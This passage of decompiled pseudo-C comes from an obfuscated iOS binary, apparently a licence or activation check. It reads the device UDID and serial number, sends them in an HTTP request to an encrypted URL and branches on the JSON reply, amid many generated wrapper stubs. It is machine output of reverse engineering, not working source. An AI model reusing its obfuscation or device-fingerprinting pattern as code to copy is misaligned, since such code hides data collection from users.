goto LABEL_262;
}
}
else if ( v67 <= 574351697 )
{
switch ( v67 )
{
case 521344587:
v6 = 1;
v4 = -1209652588;
v7 = -1399664963;
goto LABEL_269;
case 536764897:
v3 = 1;
v4 = -2097680598;
v5 = 125253165;
goto LABEL_275;
case 546687508:
*v93 = 956635703;
break;
}
}
else if ( v67 > 627099544 )
{
if ( v67 == 627099545 )
{
v6 = 1;
v4 = -1370661226;
v7 = 615927236;
goto LABEL_269;
}
if ( v67 == 667737005 )
*v93 = 574351698;
}
else
{
if ( v67 == 574351698 )
{
v6 = 1;
v4 = 1904971749;
v7 = 1785457682;
goto LABEL_269;
}
if ( v67 == 615927236 )
{
v0 = HikariFunctionWrapper_1652((objc_class *)v78);
v1 = objc_msgSend(v0, "initWithData:encoding:", v83, 4);
NSLog(CFSTR("A\xE5\xB6\x01&a\x19\xC4\x5C\x85O\x04"), v1);
v2 = HikariFunctionWrapper_1654(
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:");
objc_retainAutoreleasedReturnValue(v2);
*v93 = -1370661226;
}
}
}
if ( v67 <= -1304242640 )
break;
if ( v67 <= -687759943 )
{
if ( v67 <= -1007461486 )
{
if ( v67 > -1244857335 )
{
switch ( v67 )
{
case -1244857334:
v86 = v66 == 0;
*v93 = -1567089163;
break;
case -1209652588:
v26 = HikariFunctionWrapper_1638(v79, "localizedDescription");
v27 = objc_retainAutoreleasedReturnValue(v26);
v6 = 1;
v71 = v27;
v4 = -284765091;
v7 = -1209652588;
goto LABEL_269;
case -1021450267:
objc_release(v65);
objc_release(v83);
objc_release(v58);
objc_release(v79);
objc_release(v85);
v6 = 0;
v4 = -1973361910;
v7 = 2112044837;
goto LABEL_269;
}
}
else
{
switch ( v67 )
{
case -1304242639:
v25 = 1213010089;
if ( v91 )
v25 = -1745707864;
*v93 = v25;
v72 = CFSTR("\x16d\xE1\x13\xA8\xBEXN%I\x9A\x92\x0F");
break;
case -1283723988:
v10 = !v87;
v11 = -699229050;
LABEL_218:
if ( !v10 )
v11 = 402169617;
*v93 = v11;
v73 = CFSTR("\xFC\xFE\xD7\xF6~\xE3\x68\x13D\xE9\xC2\x41\xCF\xEF\x84Ko,\xBBv\xA6wg\xF4\xF4\x48\xA9\x9DCI\xEA\x8B\x62\x1A\xEB\x01\x3Ay");
break;
case -1279155511:
v14 = -1412949499;
if ( !v61 )
v14 = 1213010089;
*v93 = v14;
v72 = CFSTR("\x98\xD7\x07g\xA7\x8F,\x9E\xBCN4\x1B;zr\xF0\xFE\x36\xCC\x00\x1A\xCE\x4DQ\x99ı\x8F\xFB\xA9\xF4\x09\xA3\xBA\xEE\x9E\x3C\\\xDD\x30\xC6\x35|");
break;
}
}
}
else if ( v67 <= -807534616 )
{
switch ( v67 )
{
case -1007461485:
v8 = 0;
v4 = -687759942;
v9 = 1952106426;
goto LABEL_262;
case -929169863:
v3 = 0;
v4 = -1456586551;
v5 = 976825310;
goto LABEL_275;
case -809620394:
*v93 = 1509405701;
break;
}
}
else if ( v67 > -707184549 )
{
if ( v67 == -707184548 )
{
v40 = objc_msgSend(v56, "SerialNumber");
v41 = objc_retainAutoreleasedReturnValue(v40);
v87 = v41 == 0;
v3 = 1;
v82 = v41;
v4 = 2130627792;
v5 = -1283723988;
goto LABEL_275;
}
if ( v67 == -699229050 )
{
v3 = 1;
v4 = 1923695269;
v5 = -1988244810;
goto LABEL_275;
}
}
else
{
if ( v67 == -807534615 )
{
v38 = HikariFunctionWrapper_1632(&OBJC_CLASS___iOSDevice, "UDID");
v39 = objc_retainAutoreleasedReturnValue(v38);
v6 = 1;
v68 = v39;
v4 = 1228741326;
v7 = -1995394609;
LABEL_269:
if ( !v6 )
v4 = v7;
goto LABEL_277;
}
if ( v67 == -760098577 )
{
*v93 = 1213010089;
v72 = v52;
}
}
}
else if ( v67 > -569849193 )
{
if ( v67 <= -422013333 )
{
switch ( v67 )
{
case -569849192:
objc_release(v84);
*v93 = 1290627051;
break;
case -499750392:
*v93 = 1259648731;
break;
case -494355862:
v55 = v64;
v3 = 0;
v4 = 1152135824;
v5 = -2114097892;
goto LABEL_275;
}
}
else if ( v67 > -361380033 )
{
if ( v67 == -361380032 )
{
v3 = 1;
v4 = -1848830612;
v5 = 876587040;
goto LABEL_275;
}
if ( v67 == -312710803 )
{
v23 = HikariFunctionWrapper_1640(v78, v69);
v24 = (__CFString *)objc_retainAutoreleasedReturnValue(v23);
v6 = 0;
v50 = v24;
v4 = 821776139;
v7 = 1634410027;
goto LABEL_269;
}
}
else
{
if ( v67 == -422013332 )
{
v6 = 1;
v4 = -2040948347;
v7 = 241311454;
goto LABEL_269;
}
if ( v67 == -416418078 )
{
v10 = !v88;
v11 = 1073970827;
goto LABEL_218;
}
}
}
else if ( v67 <= -620891836 )
{
switch ( v67 )
{
case -687759942:
*v93 = 1952106426;
break;
case -683014308:
strcpy(asc_100275C00, "AldazDev-Randomess");
aA_7[0] = 82;
aA_7[1] = 101;
aA_7[2] = 115;
aA_7[3] = 112;
aA_7[4] = 111;
LABEL_239:
*v93 = -1754530918;
break;
case -630255299:
*v93 = 333509499;
v62 = v71;
v63 = v50;
break;
}
}
else if ( v67 > -605991747 )
{
if ( v67 == -605991746 )
goto LABEL_239;
if ( v67 == -584211401 )
{
v19 = objc_msgSend(
v49,
v69,
CFSTR("/SA\xA2\x19[?\x85yW\v!\x19\xBB\xA1\x02S\xB7\x14\xA5e3\x06\xAF\xA3"),
CFSTR("g\x8C'\xF1\xF9\x0A\x4CC u\xF4\x1A\xDF\x42\x8D\x0E\\\xA7\x8C\xBCZ{l\xFB\xE4\x1B\xE6\xA9A\xF2\x54\x1D\x61\x1D9\xFE\x13\xBC9i\x1C%"),
v82,
v57);
v70 = objc_retainAutoreleasedReturnValue(v19);
objc_release(v57);
v20 = +[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", v70);
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = -1400732374;
if ( !v21 )
v22 = -494355862;
v76 = v21;
*v93 = v22;
v64 = CFSTR("\xE4\x13\xEC\xB8v\x8E\"\xEE\x3A\xF9S\xC6\xE7\xB9\xCD\xD6\x9CɑV");
}
}
else if ( v67 == -620891835 )
{
objc_release(v60);
*v93 = 1286289156;
}
else if ( v67 == -609497341 )
{
v3 = 0;
v4 = 1286289156;
v5 = -620891835;
goto LABEL_275;
}
}
if ( v67 <= -1714427082 )
break;
if ( v67 <= -1456586552 )
{
if ( v67 > -1642331495 )
{
switch ( v67 )
{
case -1642331494:
objc_release(v82);
objc_autoreleaseReturnValue(v74);
v8 = 0;
v4 = -1642331494;
v9 = -2058638809;
goto LABEL_262;
case -1582271160:
HikariFunctionWrapper_1648(v85, v77);
HikariFunctionWrapper_1650(v85, v77);
*v80 = 0;
*v81 = 0;
v29 = +[NSURLConnection sendSynchronousRequest:returningResponse:error:](
&OBJC_CLASS___NSURLConnection,
"sendSynchronousRequest:returningResponse:error:",
v85,
v80,
v81);
objc_retainAutoreleasedReturnValue(v29);
objc_retain(*v80);
*v93 = 368739061;
break;
case -1567089163:
v3 = 0;
v4 = -361380032;
v5 = -1848830612;
goto LABEL_275;
}
}
else
{
switch ( v67 )
{
case -1714427081:
*v93 = 536764897;
break;
case -1700716506:
v28 = objc_alloc((Class)&OBJC_CLASS___NSMutableURLRequest);
v85 = objc_msgSend(v28, "initWithURL:", v76);
objc_msgSend(v85, "setHTTPMethod:", CFSTR(">\xEF\x6B\xA2"));
v77 = "setValue:forHTTPHeaderField:";
objc_msgSend(
v85,
"setValue:forHTTPHeaderField:",
v75,
CFSTR("\r\x9Eh\xC4\x05\xB2B\xC7\x09\xB6\x89Sg\xCD\xCDY"));
v6 = 1;
v4 = 546687508;
v7 = -1938779093;
goto LABEL_269;
case -1698230472:
v3 = 0;
v4 = 2016651123;
v5 = -1382468698;
goto LABEL_275;
}
}
}
else if ( v67 <= -1399664964 )
{
switch ( v67 )
{
case -1456586551:
v59 = "objectForKeyedSubscript:";
v31 = objc_msgSend(v84, "objectForKeyedSubscript:", CFSTR("\x8C\xBC\x97\xFA\x03\xA4j"));
v60 = objc_retainAutoreleasedReturnValue(v31);
v90 = (unsigned __int8)HikariFunctionWrapper_1642(v60, "boolValue");
*v93 = 507770833;
break;
case -1412949499:
v35 = objc_msgSend(v84, v59, CFSTR("\xBC.\v\"ZGL\x8B"));
v52 = (__CFString *)objc_retainAutoreleasedReturnValue(v35);
*v93 = -1698230472;
break;
case -1400732374:
v3 = 0;
v4 = -1700716506;
v5 = -1938779093;
goto LABEL_275;
}
}
else if ( v67 > -1370661227 )
{
if ( v67 == -1370661226 )
{
v43 = objc_alloc((Class)v78);
v51 = objc_msgSend(v43, "initWithData:encoding:", v83, 4);
NSLog(CFSTR("A\xE5\xB6\x01&a\x19\xC4\x5C\x85O\x04"), v51);
v44 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v83,
0,
0);
v45 = objc_retainAutoreleasedReturnValue(v44);
v3 = 1;
v84 = v45;
v4 = 615927236;
v5 = 1713295300;
LABEL_275:
if ( v3 )
v4 = v5;
goto LABEL_277;
}
if ( v67 == -1330985184 )
*v93 = 421843007;
}
else if ( v67 == -1399664963 )
{
v42 = objc_msgSend(v79, "localizedDescription");
objc_retainAutoreleasedReturnValue(v42);
*v93 = -1209652588;
}
else if ( v67 == -1382468698 )
{
*v93 = 2016651123;
}
}
if ( v67 <= -1973361911 )
break;
if ( v67 <= -1764613639 )
{
switch ( v67 )
{
case -1973361910:
objc_release(v65);
objc_release(v83);
objc_release(v58);
objc_release(v79);
objc_release(v85);
*v93 = -1021450267;
break;
case -1938779093:
v32 = objc_alloc((Class)&OBJC_CLASS___NSMutableURLRequest);
v33 = objc_msgSend(v32, "initWithURL:", v76);
objc_msgSend(v33, "setHTTPMethod:", CFSTR(">\xEF\x6B\xA2"));
HikariFunctionWrapper_1646(v33, "setValue:forHTTPHeaderField:");
*v93 = -1700716506;
break;
case -1848830612:
*v93 = -361380032;
break;
}
}
else if ( v67 > -1745707865 )
{
if ( v67 == -1745707864 )
{
v36 = objc_msgSend(v84, v59, CFSTR("\xBC.\v\"ZGL\x8B"));
v61 = objc_retainAutoreleasedReturnValue(v36);
*v93 = 1649807183;
}
else if ( v67 == -1743050299 )
{
v6 = 1;
v4 = -707184548;
v7 = 2130627792;
goto LABEL_269;
}
}
else if ( v67 == -1764613638 )
{
dword_10029F49C = 1;
*v93 = -285422983;
}
else if ( v67 == -1754530918 )
{
strcpy(asc_100275C00, "AldazDev-Randomess");
v3 = 0;
aA_7[0] = 82;
aA_7[1] = 101;
aA_7[2] = 115;
aA_7[3] = 112;
aA_7[4] = 111;
v4 = 667737005;
v5 = -1754530918;
goto LABEL_275;
}
}
if ( v67 <= -1995394610 )
break;
switch ( v67 )
{
case -1995394609:
v30 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
objc_retainAutoreleasedReturnValue(v30);
LABEL_227:
*v93 = -807534615;
break;
case -1989953888:
*v93 = -1007461485;
break;
case -1988244810:
v15 = objc_msgSend(v82, "length");
v8 = 0;
v48 = v15;
v4 = 1923695269;
v9 = -1714427081;
goto LABEL_262;
}
}
if ( v67 > -2058638810 )
break;
if ( v67 == -2114097892 )
{
objc_release(v76);
objc_release(v70);
objc_release(v75);
objc_release(v68);
*v93 = 1152135824;
}
else if ( v67 == -2097680598 )
{
*v93 = 125253165;
}
}
if ( v67 == -2040948347 )
{
v6 = 0;
v56 = &OBJC_CLASS___iOSDevice;
v4 = -2040948347;
v7 = 685655322;
goto LABEL_269;
}
}
while ( v67 != -2058638809 );
return v74;
}
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100275C50: using guessed type __CFString stru_100275C50;
// 100275CD0: using guessed type __CFString stru_100275CD0;
// 100275D10: using guessed type __CFString cfstr_D_6;
// 100275DD0: using guessed type __CFString stru_100275DD0;
// 100275E90: using guessed type __CFString stru_100275E90;
// 100275ED0: using guessed type __CFString stru_100275ED0;
// 100275F10: using guessed type __CFString stru_100275F10;
// 100275F50: using guessed type __CFString cfstr_G_12;
// 100275F90: using guessed type __CFString stru_100275F90;
// 100275FD0: using guessed type __CFString cfstr_Ei;
// 100276010: using guessed type __CFString cfstr_L3_1;
// 100276050: using guessed type __CFString stru_100276050;
// 100276090: using guessed type __CFString cfstr_Sa_0;
// 1002760D0: using guessed type __CFString stru_1002760D0;
// 10029F49C: using guessed type int dword_10029F49C;
//----- (00000001000B5E00) ----------------------------------------------------
int *HikariFunctionWrapper_9()
{
return __error();
}
//----- (00000001000B5E10) ----------------------------------------------------
int *HikariFunctionWrapper_1430()
{
return HikariFunctionWrapper_9();
}
//----- (00000001000B5E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1431(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1432(void *a1, const char *a2)
{
return HikariFunctionWrapper_1431(a1, a2);
}
//----- (00000001000B5E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1433(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1434(void *a1, const char *a2)
{
return HikariFunctionWrapper_1433(a1, a2);
}
//----- (00000001000B5E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1435(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5E70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1436(void *a1, const char *a2)
{
return HikariFunctionWrapper_1435(a1, a2);
}
//----- (00000001000B5E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1437(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1438(void *a1, const char *a2)
{
return HikariFunctionWrapper_1437(a1, a2);
}
//----- (00000001000B5EA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1439(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5EB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1440(void *a1, const char *a2)
{
return HikariFunctionWrapper_1439(a1, a2);
}
//----- (00000001000B5EC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1441(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5ED0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1442(void *a1, const char *a2)
{
return HikariFunctionWrapper_1441(a1, a2);
}
//----- (00000001000B5EE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1443(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1444(void *a1, const char *a2)
{
return HikariFunctionWrapper_1443(a1, a2);
}
//----- (00000001000B5F00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1445(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B5F10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1446(void *a1, const char *a2)
{
HikariFunctionWrapper_1445(a1, a2);
}
//----- (00000001000B5F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1447(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B5F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1448(void *a1, const char *a2)
{
return HikariFunctionWrapper_1447(a1, a2);
}
//----- (00000001000B5F40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1449(
void *a1,
const char *a2,
__int64 a3,
unsigned int a4,
unsigned int a5,
unsigned int a6,
int a7,
int a8,
int a9,
int a10,
int a11,
int a12,
int a13,
int a14,
int a15,
int a16,
int a17,
int a18,
int a19)
{
return objc_msgSend(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19);
}
//----- (00000001000B6010) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1450(
void *a1,
const char *a2,
__int64 a3,
unsigned int a4,
unsigned int a5,
unsigned int a6,
int a7,
int a8,
int a9,
int a10,
int a11,
int a12,
int a13,
int a14,
int a15,
int a16,
int a17,
int a18,
int a19)
{
return HikariFunctionWrapper_1449(
a1,
a2,
a3,
a4,
a5,
a6,
a7,
a8,
a9,
a10,
a11,
a12,
a13,
a14,
a15,
a16,
a17,
a18,
a19);
}
//----- (00000001000B60D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1451(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B60E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1452(void *a1, const char *a2)
{
return HikariFunctionWrapper_1451(a1, a2);
}
//----- (00000001000B60F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1453(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1454(void *a1, const char *a2)
{
return HikariFunctionWrapper_1453(a1, a2);
}
//----- (00000001000B6110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1455(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1456(void *a1, const char *a2)
{
return HikariFunctionWrapper_1455(a1, a2);
}
//----- (00000001000B6130) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1457(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6140) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1458(void *a1, const char *a2)
{
HikariFunctionWrapper_1457(a1, a2);
}
//----- (00000001000B6150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1459(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1460(void *a1, const char *a2)
{
return HikariFunctionWrapper_1459(a1, a2);
}
//----- (00000001000B6170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1461(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1462(void *a1, const char *a2)
{
return HikariFunctionWrapper_1461(a1, a2);
}
//----- (00000001000B6190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1463(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B61A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1464(void *a1, const char *a2)
{
HikariFunctionWrapper_1463(a1, a2);
}
//----- (00000001000B61B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1465(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B61C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1466(void *a1, const char *a2)
{
HikariFunctionWrapper_1465(a1, a2);
}
//----- (00000001000B61D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1467(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B61E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1468(void *a1, const char *a2)
{
HikariFunctionWrapper_1467(a1, a2);
}
//----- (00000001000B61F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1469(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1470(void *a1, const char *a2)
{
HikariFunctionWrapper_1469(a1, a2);
}
//----- (00000001000B6210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1471(dispatch_once_t *a1, void *a2)
{
dispatch_once(a1, a2);
}
//----- (00000001000B6220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1472(dispatch_once_t *a1, void *a2)
{
HikariFunctionWrapper_1471(a1, a2);
}
//----- (00000001000B6230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1473(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1474(void *a1, const char *a2)
{
return HikariFunctionWrapper_1473(a1, a2);
}
//----- (00000001000B6250) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1475(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6260) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1476(void *a1, const char *a2)
{
HikariFunctionWrapper_1475(a1, a2);
}
//----- (00000001000B6270) ----------------------------------------------------
dispatch_time_t __fastcall HikariFunctionWrapper_1477(dispatch_time_t a1, int64_t a2)
{
return dispatch_time(a1, a2);
}
//----- (00000001000B6280) ----------------------------------------------------
dispatch_time_t __fastcall HikariFunctionWrapper_1478(dispatch_time_t a1, int64_t a2)
{
return HikariFunctionWrapper_1477(a1, a2);
}
//----- (00000001000B6290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1479(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001000B62A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1480(objc_class *a1)
{
return HikariFunctionWrapper_1479(a1);
}
//----- (00000001000B62B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1481(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B62C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1482(void *a1, const char *a2)
{
return HikariFunctionWrapper_1481(a1, a2);
}
//----- (00000001000B62D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1483(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B62E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1484(void *a1, const char *a2)
{
return HikariFunctionWrapper_1483(a1, a2);
}
//----- (00000001000B62F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1485(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1486(void *a1, const char *a2)
{
return HikariFunctionWrapper_1485(a1, a2);
}
//----- (00000001000B6310) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1487(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6320) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1488(const void *a1, int a2)
{
HikariFunctionWrapper_1487(a1, a2);
}
//----- (00000001000B6330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1489(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6340) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1490(void *a1, const char *a2)
{
return HikariFunctionWrapper_1489(a1, a2);
}
//----- (00000001000B6350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1491(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1492(void *a1, const char *a2)
{
return HikariFunctionWrapper_1491(a1, a2);
}
//----- (00000001000B6370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1493(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1494(void *a1, const char *a2)
{
return HikariFunctionWrapper_1493(a1, a2);
}
//----- (00000001000B6390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1495(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B63A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1496(void *a1, const char *a2)
{
return HikariFunctionWrapper_1495(a1, a2);
}
//----- (00000001000B63B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1497(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B63C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1498(void *a1, const char *a2)
{
return HikariFunctionWrapper_1497(a1, a2);
}
//----- (00000001000B63D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1499(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B63E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1500(void *a1, const char *a2)
{
return HikariFunctionWrapper_1499(a1, a2);
}
//----- (00000001000B63F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1501(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1502(void *a1, const char *a2)
{
HikariFunctionWrapper_1501(a1, a2);
}
//----- (00000001000B6410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1503(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6420) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1504(void *a1, const char *a2)
{
return HikariFunctionWrapper_1503(a1, a2);
}
//----- (00000001000B6430) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_1505(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return CC_SHA1(a1, a2, a3);
}
//----- (00000001000B6440) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_1506(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return HikariFunctionWrapper_1505(a1, a2, a3);
}
//----- (00000001000B6450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1507(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1508(void *a1, const char *a2)
{
return HikariFunctionWrapper_1507(a1, a2);
}
//----- (00000001000B6470) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1509(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6480) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1510(void *a1, const char *a2)
{
HikariFunctionWrapper_1509(a1, a2);
}
//----- (00000001000B6490) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1511(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B64A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1512(void *a1, const char *a2)
{
HikariFunctionWrapper_1511(a1, a2);
}
//----- (00000001000B64B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1513(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B64C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1514(void *a1, const char *a2)
{
HikariFunctionWrapper_1513(a1, a2);
}
//----- (00000001000B64D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1515(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B64E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1516(void *a1, const char *a2)
{
return HikariFunctionWrapper_1515(a1, a2);
}
//----- (00000001000B64F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1517(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1518(void *a1, const char *a2)
{
return HikariFunctionWrapper_1517(a1, a2);
}
//----- (00000001000B6510) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_1519(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
return class_addMethod(a1, a2, a3, a4);
}
//----- (00000001000B6520) ----------------------------------------------------
BOOL __fastcall HikariFunctionWrapper_1520(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4)
{
